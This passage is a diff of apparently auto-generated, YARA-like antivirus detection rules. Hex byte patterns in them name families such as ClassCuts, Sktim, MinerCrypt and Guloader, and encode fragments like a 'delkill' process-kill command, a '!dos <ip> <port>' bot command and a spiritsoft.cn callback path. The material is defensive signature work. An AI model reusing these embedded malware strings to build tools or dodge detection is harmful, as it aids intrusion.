43 6c 61 73 73 43 75 74 73 2e 44 21 64 68 61 00 01 00 23 01 } //8448 + $a_4f_1 = {4d 49 58 53 51 4c 48 4f 53 54 53 01 00 0f 01 49 4e 46 4f 52 4d 49 58 42 52 4f 57 53 45 52 01 00 0d 01 2f 75 73 72 2f 69 6e 66 6f 72 6d 69 78 00 00 78 95 00 00 02 00 02 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 } //20041 + $a_69_2 = {43 72 79 70 74 2e 50 52 21 41 4d 54 42 00 01 00 0c 81 01 43 72 79 70 74 45 6e 63 72 79 70 74 01 00 0c 81 01 43 72 79 70 74 44 65 63 72 79 70 74 01 00 0b 81 01 43 72 79 70 74 47 65 6e 4b 65 79 01 00 13 81 01 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 } //12082 + $a_72_4 = {70 74 49 6d 70 6f 72 74 4b 65 79 01 00 0d 81 01 43 72 79 70 74 48 61 73 68 44 61 74 61 00 00 78 95 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 2f 46 6c 6f 77 53 70 69 72 69 74 21 } //385 + $a_00_5 = {02 00 0e 01 2e 73 70 69 72 69 74 73 6f 66 74 2e 63 6e 01 00 0b 01 6a 6c 67 75 61 6a 69 2e 65 78 65 01 00 4a 01 6d 00 61 00 69 00 6e 00 2e 00 70 00 68 00 70 00 3f 00 69 00 64 00 3d 00 25 00 73 00 26 00 75 00 69 00 64 00 3d 00 25 00 73 00 26 00 74 00 79 00 70 00 65 00 3d 00 25 00 64 00 26 00 63 00 6f 00 64 00 65 00 3d 00 25 00 64 00 00 00 78 95 00 } //26978 condition: - ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*20041+(#a_2f_2 & 1)*21840+(#a_00_3 & 1)*112+(#a_41_5 & 1)*8448) >=2 + ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*20041+(#a_69_2 & 1)*12082+(#a_72_4 & 1)*385+(#a_00_5 & 1)*26978) >=2 } -rule _InfrastructureShared_10164{ +rule _InfrastructureShared_10816{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 57 69 6e 43 72 79 70 74 2e 50 52 21 41 4d 54 42 00 01 00 0c 81 01 43 72 79 70 74 45 6e 63 72 79 70 74 01 00 0c 81 01 43 72 79 70 74 44 65 63 72 79 70 74 01 00 0b 81 01 43 72 79 70 74 47 65 6e 4b 65 79 01 00 13 81 01 43 72 79 70 } //18467 + $a_71_1 = {69 72 65 43 6f 6e 74 65 78 74 01 00 0e 81 01 43 72 79 70 74 49 6d 70 6f 72 74 4b 65 79 01 00 0d 81 01 43 72 79 70 74 48 61 73 68 44 61 74 61 00 00 78 95 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 2f 46 6c 6f 77 53 70 69 72 69 74 21 62 69 74 00 02 00 0e 01 2e 73 70 69 72 69 } //16756 + $a_66_2 = {2e 63 6e 01 00 0b 01 6a 6c 67 75 61 6a 69 2e 65 78 65 01 00 4a 01 6d 00 61 00 69 00 6e 00 2e 00 70 00 68 00 70 00 3f 00 69 00 64 00 3d 00 25 00 73 00 26 00 75 00 69 00 64 00 3d 00 25 00 73 00 26 00 74 00 79 00 70 00 65 00 3d 00 25 00 64 00 26 00 63 00 6f 00 64 00 65 00 3d 00 25 00 64 00 00 00 78 95 00 00 03 00 03 00 03 00 21 23 48 } //29556 + $a_3a_3 = {61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 6b 74 69 6d 00 01 00 12 01 54 00 69 00 6d 00 62 00 65 00 72 00 42 00 4f 00 54 00 01 00 2c 01 21 00 64 00 6f 00 73 00 20 00 3c 00 69 00 70 00 3e 00 20 00 3c 00 70 00 6f 00 72 00 74 00 3e 00 20 00 3c 00 73 } //21587 + $a_00_5 = {28 } //62 ( + condition: + ((#a_54_0 & 1)*18467+(#a_71_1 & 1)*16756+(#a_66_2 & 1)*29556+(#a_3a_3 & 1)*21587+(#a_00_5 & 1)*62) >=2 + +} +rule _InfrastructureShared_10817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -110220,19 +117421,7 @@ rule _InfrastructureShared_10164{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100) >=3 } -rule _InfrastructureShared_10165{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6c 61 73 73 43 75 74 73 2e 44 21 64 68 61 00 01 00 23 01 64 65 6c 6b 69 6c 6c 20 2f 46 20 2f 49 4d 20 65 78 70 6c 45 4e 54 5f 55 53 45 52 5c 53 6f 66 74 77 61 72 01 00 27 01 5b 2b 5d 20 } //16675 - $a_72_1 = {54 69 6d 65 72 20 61 6e 64 20 46 61 69 6c 43 6f 75 6e 74 65 72 20 63 68 61 6e 67 65 64 2e 01 00 14 01 5b 2b 5d 20 45 6e 64 70 6f 69 6e 74 20 63 68 61 6e 67 65 64 00 00 78 95 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 6b 74 69 6d 00 01 00 12 01 54 00 69 00 6d 00 62 00 65 00 72 00 42 00 } //26707 - $a_00_2 = {01 00 2c 01 21 00 64 00 6f 00 73 00 20 00 3c 00 69 00 70 00 3e 00 20 00 3c 00 70 00 6f 00 72 00 74 00 3e 00 20 00 3c 00 73 00 65 00 63 00 3e 00 01 00 28 01 21 00 72 00 65 00 73 00 6f 00 6c 00 76 00 65 00 20 00 3c 00 73 00 6b 00 79 00 70 00 65 00 6e 00 } //79 - condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26707+(#a_00_2 & 1)*79) >=3 - -} -rule _InfrastructureShared_10166{ +rule _InfrastructureShared_10818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -110244,7 +117433,7 @@ rule _InfrastructureShared_10166{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*115+(#a_00_2 & 1)*8250) >=3 } -rule _InfrastructureShared_10167{ +rule _InfrastructureShared_10819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -110256,7 +117445,7 @@ rule _InfrastructureShared_10167{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*25954+(#a_6f_2 & 1)*29295) >=3 } -rule _InfrastructureShared_10168{ +rule _InfrastructureShared_10820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -110268,7 +117457,7 @@ rule _InfrastructureShared_10168{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*8307+(#a_00_2 & 1)*-18432) >=3 } -rule _InfrastructureShared_10169{ +rule _InfrastructureShared_10821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -110279,7 +117468,7 @@ rule _InfrastructureShared_10169{ ((#a_4c_0 & 1)*21539+(#a_01_2 & 1)*9348) >=3 } -rule _InfrastructureShared_10170{ +rule _InfrastructureShared_10822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -110291,20 +117480,35 @@ rule _InfrastructureShared_10170{ ((#a_5f_0 & 1)*25635+(#a_73_1 & 1)*31090+(#a_03_2 & 1)*-28539) >=3 } -rule _InfrastructureShared_10171{ +rule _InfrastructureShared_10823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_46_0 = {48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 41 47 42 21 62 69 74 00 01 00 16 03 8b 0c 1e b8 90 01 04 31 c1 89 0c 1a 85 db 0f 85 90 01 03 ff 90 00 01 00 16 03 8b 0c 1e 81 f1 90 01 04 89 0c } //16675 - $a_0f_1 = {85 90 01 02 ff ff 90 00 01 00 0f 03 ff 30 46 5b 31 f3 3b 9c 24 90 02 04 75 90 00 01 00 18 01 75 73 65 72 33 32 20 00 0c 00 00 00 45 6e 75 6d 57 69 6e 64 6f 77 73 00 00 00 78 95 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 65 72 43 72 79 70 74 2e 53 4e 21 4d 54 42 00 02 00 37 03 83 c1 01 89 0d 90 01 04 a1 90 01 04 33 d2 b9 00 01 00 00 f7 f1 89 15 90 01 04 8b 15 90 01 04 0f b6 82 90 01 04 03 05 90 01 04 33 d2 b9 00 01 00 00 f7 f1 89 15 90 00 02 00 29 03 03 c2 25 ff 00 00 80 79 90 01 01 48 0d 00 ff ff ff 40 0f b6 80 90 01 04 33 c8 8b 15 90 01 04 03 55 90 01 01 88 0a e9 90 00 00 00 78 95 00 00 04 00 04 00 04 } //-31462 - $a_41_2 = {46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 2e 4d 51 21 62 69 74 00 01 00 24 } //8448 - $a_34_3 = {37 31 39 31 2d 32 46 45 46 2d 34 64 32 62 2d 41 42 30 36 2d 37 31 38 35 31 37 42 30 42 46 43 35 01 00 0a 01 69 65 64 6c 63 6d 24 63 64 63 01 00 11 01 53 4f } //14337 + $a_0f_1 = {85 90 01 02 ff ff 90 00 01 00 0f 03 ff 30 46 5b 31 f3 3b 9c 24 90 02 04 75 90 00 01 00 18 01 75 73 65 72 33 32 20 00 0c 00 00 00 45 6e 75 6d 57 69 6e 64 6f 77 73 00 00 00 78 95 00 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 49 6d 61 67 65 4d 61 6e 69 70 75 6c 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 06 81 01 42 69 74 42 6c 74 01 00 05 81 01 47 65 74 44 43 01 00 16 81 01 43 72 65 61 74 65 43 6f 6d 70 61 74 69 62 6c 65 42 69 74 6d 61 70 01 00 12 81 01 43 72 65 61 74 65 43 6f 6d 70 61 74 69 62 6c 65 44 43 01 00 0c 81 01 53 65 6c 65 63 74 4f 62 6a 65 63 74 01 00 09 81 01 47 65 74 44 49 42 69 74 73 00 00 78 95 00 00 04 00 04 00 02 } //-31462 + $a_41_2 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 65 72 43 72 79 70 74 2e 53 4e 21 4d 54 42 00 02 00 } //8448 + $a_c1_3 = {89 0d 90 01 04 a1 90 01 04 33 d2 b9 00 01 00 00 f7 f1 89 15 90 01 04 8b 15 90 01 04 0f b6 82 90 01 04 03 05 90 01 04 33 d2 b9 00 01 00 00 f7 f1 89 15 90 00 02 00 29 03 03 c2 25 ff 00 00 80 79 90 01 01 48 0d 00 ff ff ff 40 0f b6 80 90 01 04 33 c8 8b 15 90 01 04 03 55 90 01 01 88 0a e9 90 00 00 00 78 95 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //823 condition: - ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*-31462+(#a_41_2 & 1)*8448+(#a_34_3 & 1)*14337) >=3 + ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*-31462+(#a_41_2 & 1)*8448+(#a_c1_3 & 1)*823) >=3 } -rule _InfrastructureShared_10172{ +rule _InfrastructureShared_10824{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 49 6d 61 67 65 4d 61 6e 69 70 75 6c 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 06 81 01 42 69 74 42 6c 74 01 00 05 81 01 47 65 74 44 43 01 00 16 81 01 43 72 65 61 74 65 43 6f 6d 70 61 74 69 62 6c 65 42 69 74 6d 61 70 01 00 } //18467 + $a_43_1 = {65 } //-32494 e + $a_43_2 = {6d 70 61 74 69 62 6c 65 44 43 01 00 0c 81 01 53 65 6c 65 63 74 4f 62 6a 65 63 74 01 00 09 81 01 47 65 74 44 49 42 69 74 73 00 00 78 95 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 65 72 43 72 79 70 74 2e 53 4e 21 4d 54 42 00 02 00 37 03 83 c1 01 89 0d 90 01 } //29793 + $a_01_3 = {04 33 d2 b9 00 01 00 00 f7 f1 89 15 90 01 04 8b 15 90 01 04 0f b6 82 90 01 04 03 05 90 01 04 33 d2 b9 00 01 00 00 f7 f1 89 15 90 00 02 00 29 03 03 c2 25 ff 00 00 80 79 90 01 01 48 0d 00 ff ff ff 40 0f b6 80 90 01 04 33 c8 8b 15 90 01 04 03 55 90 01 01 88 0a e9 90 00 00 00 78 95 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 66 2e 4d 51 21 62 69 74 00 01 00 24 01 38 34 34 } //-24316 + $a_39_4 = {2d 32 46 45 46 2d 34 64 32 62 2d 41 42 30 36 2d 37 31 38 35 31 37 42 30 42 46 43 35 01 00 0a 01 69 65 64 6c 63 6d 24 63 64 63 01 00 11 01 53 4f 46 } //14148 + $a_52_5 = {5c 57 48 4e 65 74 42 61 72 01 00 1a 01 73 68 65 6c 6c 5c 4f 70 65 6e 48 6f 6d 65 50 61 67 65 5c 43 6f 6d 6d 61 6e 64 00 00 78 95 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 55 53 5f 43 } //22356 + condition: + ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*-32494+(#a_43_2 & 1)*29793+(#a_01_3 & 1)*-24316+(#a_39_4 & 1)*14148+(#a_52_5 & 1)*22356) >=3 + +} +rule _InfrastructureShared_10825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -110315,7 +117519,7 @@ rule _InfrastructureShared_10172{ ((#a_46_0 & 1)*16675+(#a_b9_1 & 1)*13060) >=4 } -rule _InfrastructureShared_10173{ +rule _InfrastructureShared_10826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -110327,7 +117531,7 @@ rule _InfrastructureShared_10173{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*27748+(#a_63_2 & 1)*275) >=4 } -rule _InfrastructureShared_10174{ +rule _InfrastructureShared_10827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -110340,33 +117544,46 @@ rule _InfrastructureShared_10174{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*21582+(#a_4c_2 & 1)*28524+(#a_31_3 & 1)*-32758) >=4 } -rule _InfrastructureShared_10175{ +rule _InfrastructureShared_10828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 57 61 63 61 70 65 77 2e 43 21 6d 6c 00 01 00 16 80 01 49 54 53 20 53 65 63 75 72 65 20 42 72 6f 77 73 65 72 2e 65 78 65 01 00 16 80 01 49 54 53 53 65 63 75 72 65 45 43 4c 69 74 65 42 72 6f 77 73 65 72 01 00 1c 80 01 28 63 29 20 49 6e 74 65 72 6e 65 74 20 54 65 73 } //16675 $a_67_1 = {53 79 73 74 65 6d 73 01 00 0a 80 01 31 32 2e 34 2e 30 2e 31 35 38 00 00 78 95 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 53 4c 46 32 39 00 01 00 25 81 01 24 65 32 66 64 36 33 34 38 2d 66 37 38 37 2d 34 32 33 32 2d 61 63 62 63 2d 30 31 35 30 65 64 31 32 65 62 66 63 01 00 1a } //26996 - $a_65_2 = {61 78 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 10 81 01 53 63 68 65 64 75 6c 69 6e 67 20 65 76 65 6e 74 01 00 0b 81 01 41 6e 74 69 42 6f 73 73 69 6e 67 00 00 78 95 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 54 31 32 33 21 4d 54 42 00 01 00 0f 81 01 70 72 75 } //385 - $a_73_3 = {76 65 6a 6c 65 64 74 01 00 0a 81 01 73 75 66 66 69 63 69 65 6e 74 01 00 18 81 01 69 6d 6d 6f 72 74 61 6c 69 73 61 62 6c 65 73 20 65 61 72 6e 61 62 6c 65 01 00 26 81 01 69 6e 64 65 6e 72 69 67 73 68 61 6e 64 65 6c 20 73 6b 6e 73 65 72 6b 6c 72 69 6e 67 65 72 20 76 61 6c 62 6f 72 67 00 00 78 95 00 00 04 00 04 00 04 00 21 23 } //27502 + $a_65_2 = {61 78 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 10 81 01 53 63 68 65 64 75 6c 69 6e 67 20 65 76 65 6e 74 01 00 0b 81 01 41 6e 74 69 42 6f 73 73 69 6e 67 00 00 78 95 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4d 30 31 21 4d 54 42 00 01 00 1a 81 01 66 69 72 6d 61 } //385 + $a_65_3 = {73 20 67 79 6c 64 69 67 68 65 64 65 72 6e 65 73 01 00 14 81 01 75 6e 67 72 6f 6f 76 65 64 20 72 61 6d 69 65 73 2e 65 78 65 01 00 1d 81 01 53 6b 61 6d 66 65 72 65 72 5c 4d 65 73 6d 65 72 69 7a 61 62 69 6c 69 74 79 2e 4c 6f 73 01 00 0e 81 01 52 64 73 74 6a 72 74 65 72 73 2e 69 6e 69 00 00 78 95 00 00 04 00 04 00 04 00 21 23 } //26978 condition: - ((#a_6c_0 & 1)*16675+(#a_67_1 & 1)*26996+(#a_65_2 & 1)*385+(#a_73_3 & 1)*27502) >=4 + ((#a_6c_0 & 1)*16675+(#a_67_1 & 1)*26996+(#a_65_2 & 1)*385+(#a_65_3 & 1)*26978) >=4 } -rule _InfrastructureShared_10176{ +rule _InfrastructureShared_10829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 53 4c 46 32 39 00 01 00 25 81 01 24 65 32 66 64 36 33 34 38 2d 66 37 38 37 2d 34 32 33 32 2d 61 63 62 63 2d 30 31 35 30 65 64 31 32 65 62 66 63 01 00 1a 81 01 72 65 6c 61 78 2e 50 72 6f 70 65 } //18467 - $a_65_1 = {2e 52 65 73 6f 75 72 63 65 73 01 00 10 81 01 53 63 68 65 64 75 6c 69 6e 67 20 65 76 65 6e 74 01 00 0b 81 01 41 6e 74 69 42 6f 73 73 69 6e 67 00 00 78 95 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 54 31 32 33 21 4d 54 42 00 01 00 0f 81 01 70 72 75 6e 6b 6c 73 } //29810 - $a_6a_2 = {65 64 74 01 00 0a 81 01 73 75 66 66 69 63 69 65 6e 74 01 00 18 81 01 69 6d 6d 6f 72 74 61 6c 69 73 61 62 6c 65 73 20 65 61 72 6e 61 62 6c 65 01 00 26 81 01 69 6e 64 65 6e 72 69 67 73 68 61 6e 64 65 6c 20 73 6b 6e 73 65 72 6b 6c 72 69 6e 67 65 72 20 76 61 6c 62 6f 72 67 00 00 78 95 00 00 04 00 04 00 04 } //30240 - $a_48_3 = {54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 4d 31 32 33 21 4d 54 42 00 01 00 21 81 01 } //8448 + $a_65_1 = {2e 52 65 73 6f 75 72 63 65 73 01 00 10 81 01 53 63 68 65 64 75 6c 69 6e 67 20 65 76 65 6e 74 01 00 0b 81 01 41 6e 74 69 42 6f 73 73 69 6e 67 00 00 78 95 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4d 30 31 21 4d 54 42 00 01 00 1a 81 01 66 69 72 6d 61 62 69 6c 65 } //29810 + $a_67_2 = {6c 64 69 67 68 65 64 65 72 6e 65 73 01 00 14 81 01 75 6e 67 72 6f 6f 76 65 64 20 72 61 6d 69 65 } //29550 + $a_78_3 = {01 00 1d 81 01 53 6b 61 6d 66 65 72 65 72 5c 4d 65 73 6d 65 72 69 7a 61 62 69 6c 69 74 79 2e 4c 6f 73 01 00 0e 81 01 52 64 73 74 6a 72 74 65 72 73 2e 69 6e 69 00 00 78 95 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 54 31 32 33 21 4d 54 42 00 01 00 } //11891 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29810+(#a_6a_2 & 1)*30240+(#a_48_3 & 1)*8448) >=4 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29810+(#a_67_2 & 1)*29550+(#a_78_3 & 1)*11891) >=4 } -rule _InfrastructureShared_10177{ +rule _InfrastructureShared_10830{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4d 30 31 21 4d 54 42 00 01 00 1a 81 01 66 69 72 6d 61 62 69 6c 65 6e 73 20 67 79 6c 64 69 67 68 65 64 65 72 6e 65 73 01 00 14 81 01 75 6e 67 72 6f 6f 76 65 64 20 72 61 6d 69 65 73 2e 65 78 65 01 } //18467 + $a_01_1 = {53 6b 61 6d 66 65 72 65 72 5c 4d 65 73 6d 65 72 69 7a 61 62 69 6c 69 74 79 2e 4c 6f 73 01 00 0e 81 01 52 64 73 74 6a 72 74 65 72 73 2e 69 6e 69 00 00 78 95 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 54 31 32 33 21 4d 54 42 00 01 00 0f 81 01 70 72 75 6e 6b 6c 73 20 76 65 6a 6c 65 64 74 01 00 0a 81 01 73 75 66 66 69 63 69 65 6e 74 } //7424 + $a_81_2 = {69 6d 6d 6f 72 74 61 6c 69 73 61 62 6c 65 73 20 65 61 72 6e 61 62 6c 65 } //1 immortalisables earnable + $a_81_3 = {69 6e 64 65 6e 72 69 67 73 68 61 6e 64 65 6c 20 73 6b 6e 73 65 72 6b 6c 72 69 6e 67 65 72 20 76 61 6c 62 6f 72 67 } //1 indenrigshandel sknserklringer valborg + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*7424+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} +rule _InfrastructureShared_10831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -110378,7 +117595,7 @@ rule _InfrastructureShared_10177{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25888+(#a_67_2 & 1)*29697) >=4 } -rule _InfrastructureShared_10178{ +rule _InfrastructureShared_10832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -110391,32 +117608,44 @@ rule _InfrastructureShared_10178{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*26988+(#a_6d_2 & 1)*29285+(#a_75_3 & 1)*12082) >=4 } -rule _InfrastructureShared_10179{ +rule _InfrastructureShared_10833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 4f 55 31 32 33 21 4d 54 42 00 01 00 1e 81 01 61 6e 64 65 72 75 6d 70 65 66 72 69 73 75 72 65 73 20 6d 69 63 72 6f 63 6f 75 6c 6f 6d 62 01 00 17 81 01 64 61 79 69 6e 67 20 6e 6f 6e 72 65 71 75 69 } //18467 $a_65_1 = {65 73 73 01 00 17 81 01 69 6e 73 74 72 75 6b 74 72 20 74 61 66 66 65 6c 62 6a 65 72 67 65 74 01 00 0b 81 01 70 61 6e 74 61 6c 65 74 74 65 73 00 00 78 95 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 59 46 31 32 33 21 4d 54 42 00 01 00 13 81 01 76 65 72 6e 6f 6e 69 61 20 6f 73 74 65 6f 70 61 74 68 } //26995 - $a_72_3 = {73 69 6f 6e 20 62 61 73 69 73 66 6f 72 73 6b 6e 69 6e 67 73 70 72 6f 67 72 61 6d 20 6d 61 72 6d 6f 72 65 74 73 01 00 09 81 01 76 61 72 65 75 64 62 75 64 01 00 12 81 01 73 70 6c 61 73 68 65 64 20 74 6f 70 74 72 6e 65 72 65 00 00 78 95 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 } //26881 + $a_72_3 = {73 69 6f 6e 20 62 61 73 69 73 66 6f 72 73 6b 6e 69 6e 67 73 70 72 6f 67 72 61 6d 20 6d 61 72 6d 6f 72 65 74 73 01 00 09 81 01 76 61 72 65 75 64 62 75 64 01 00 12 81 01 73 70 6c 61 73 68 65 64 20 74 6f 70 74 72 6e 65 72 65 00 00 78 95 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 65 64 69 61 47 65 74 00 02 00 39 80 01 43 3a } //26881 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26995+(#a_72_3 & 1)*26881) >=4 } -rule _InfrastructureShared_10180{ +rule _InfrastructureShared_10834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 59 46 31 32 33 21 4d 54 42 00 01 00 13 81 01 76 65 72 6e 6f 6e 69 61 20 6f 73 74 65 6f 70 61 74 68 73 01 00 29 81 01 69 72 72 69 73 69 6f 6e 20 62 61 73 69 73 66 6f 72 73 6b 6e 69 6e 67 73 70 72 } //18467 - $a_61_1 = {20 6d 61 72 6d 6f 72 65 74 73 01 00 09 81 01 76 61 72 65 75 64 62 75 64 01 00 12 81 01 73 70 6c 61 73 68 65 64 20 74 6f 70 74 72 6e 65 72 65 00 00 78 95 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 53 68 61 74 74 65 72 4f 66 66 69 63 65 2e 42 21 64 68 61 00 01 00 0c 01 47 6f } //26479 - $a_69_2 = {64 69 6e 66 3a 01 00 09 01 6f 66 65 65 65 2e 70 68 70 01 00 09 01 6f 66 74 74 74 2e 70 68 70 01 00 13 01 5f 44 6f 55 70 64 61 74 65 49 6e 73 74 61 6e 63 65 45 78 01 00 17 01 6d 61 69 6e 2e 69 73 56 61 6c 69 64 46 69 6c 65 43 6f 6e 74 65 6e 74 00 00 78 95 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 } //25120 - $a_70_3 = {79 2e 4b 53 35 38 00 01 00 0b 80 01 52 4f 53 54 50 41 59 20 4c 54 44 01 00 0d 80 01 44 72 69 76 65 72 48 75 62 20 50 72 6f 01 00 10 80 01 44 72 69 76 65 72 48 75 62 50 72 6f 2e 65 78 65 01 00 0c 80 01 44 72 69 76 65 72 48 75 62 50 72 6f 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 95 } //29551 + $a_61_1 = {20 6d 61 72 6d 6f 72 65 74 73 01 00 09 81 01 76 61 72 65 75 64 62 75 64 01 00 12 81 01 73 70 6c 61 73 68 65 64 20 74 6f 70 74 72 6e 65 72 65 00 00 78 95 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 65 64 69 61 47 65 74 00 02 00 39 80 01 43 3a 5c 6d 65 64 69 61 67 65 74 5c 6d 65 64 69 61 67 65 74 2d 73 6f 75 72 63 65 73 2d } //26479 + $a_65_2 = {73 65 5c 72 65 6c 65 61 73 65 5c 6d 65 64 69 61 67 65 74 2e 70 64 62 01 00 0c 80 01 6d 65 64 69 61 67 65 74 2e 65 78 65 01 00 07 80 01 74 76 73 68 6f 77 73 01 00 18 80 01 6c 69 62 76 6c 63 5f 6d 65 64 69 61 5f 70 